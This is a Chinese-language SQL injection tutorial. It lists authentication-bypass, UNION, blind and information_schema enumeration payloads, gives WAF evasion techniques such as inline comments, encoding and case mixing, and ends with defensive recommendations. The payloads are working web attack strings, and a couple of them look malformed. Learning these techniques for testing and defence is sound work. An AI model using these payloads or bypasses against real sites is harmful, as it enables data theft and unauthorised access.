SQL Injection常用payload及绕过WAF
字数 809 2025-08-20 18:17:07
SQL注入攻击技术详解:Payload与WAF绕过方法
一、SQL注入的安全隐患
SQL注入漏洞可能导致以下严重后果:
- 数据库信息全部被窃取
- 数据库内容被篡改
- 登录认证被绕过
- 服务器文件被读取或修改
- 服务器程序被执行
二、SQL注入原理与示例
基本注入原理
典型登录SQL语句:
SELECT * FROM users WHERE username='farmsec' AND password='123456'
攻击者可通过注入用户名或密码字段修改查询逻辑。例如使用用户名:
farmsec' --
实际执行的SQL变为:
SELECT * FROM users WHERE username='farmsec' --' AND password='sadfas'
注释符(--)使密码检查失效,从而绕过认证。
三、SQL注入探测技术
1. 确定字段数量
使用ORDER BY探测:
1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+
使用UNION SELECT验证:
1' AND 1=2 UNION SELECT 1,2,3--+
2. 报错特征识别
MySQL典型报错信息:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
四、常用Payload分类
1. 显注Payload
1' AND 1=1#
1' OR 1=1#
/*!500001'*/ -- 报错型,不常用
/^.*1'*/ -- 报错型,不常用
2. 盲注Payload(Burp Intruder适用)
用户信息探测:
1' AND LENGTH(USER())=14#
1' AND SUBSTRING(USER(),1,1)='a'#
数据库信息探测:
1' AND LENGTH(DATABASE())=4#
1' AND SUBSTRING(DATABASE(),1,1)='a'#
五、分步注入技术
1. 注入库名
查询数据库数量:
1' AND (SELECT COUNT(schema_name) FROM information_schema.schemata)=6#
查询第一个库名长度:
1' AND LENGTH((SELECT schema_name FROM information_schema.schemata LIMIT 0,1))=18#
LIMIT用法:
- LIMIT 0,1:第一行
- LIMIT 0,2:前两行
- LIMIT 1,1:第二行
- LIMIT 2,3:第三到第五行
查询第一个库名字符:
1' AND SUBSTRING((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1)='i'#
或使用ASCII码:
1' AND ASCII(SUBSTR((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1))=105#
2. 注入表信息
查询指定库中的表数量:
1' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='dvwa')=2#
六、WAF绕过技术
- 注释混淆:使用
/*!50000*/等特殊注释 - 编码混淆:使用十六进制、URL编码等
- 大小写混合:如
SeLeCt代替select - 空白符替换:使用
%09(制表符)、%0A(换行)等 - 等价函数替换:如用
MID()代替SUBSTRING() - 内联注释:
/*!SELECT*/形式
七、防御建议
- 使用参数化查询(预编译语句)
- 实施最小权限原则
- 对输入进行严格过滤和验证
- 使用Web应用防火墙(WAF)
- 定期进行安全审计和渗透测试
- 错误信息处理:不显示详细数据库错误
通过掌握这些SQL注入技术和防御方法,安全人员可以更好地评估和保护Web应用安全。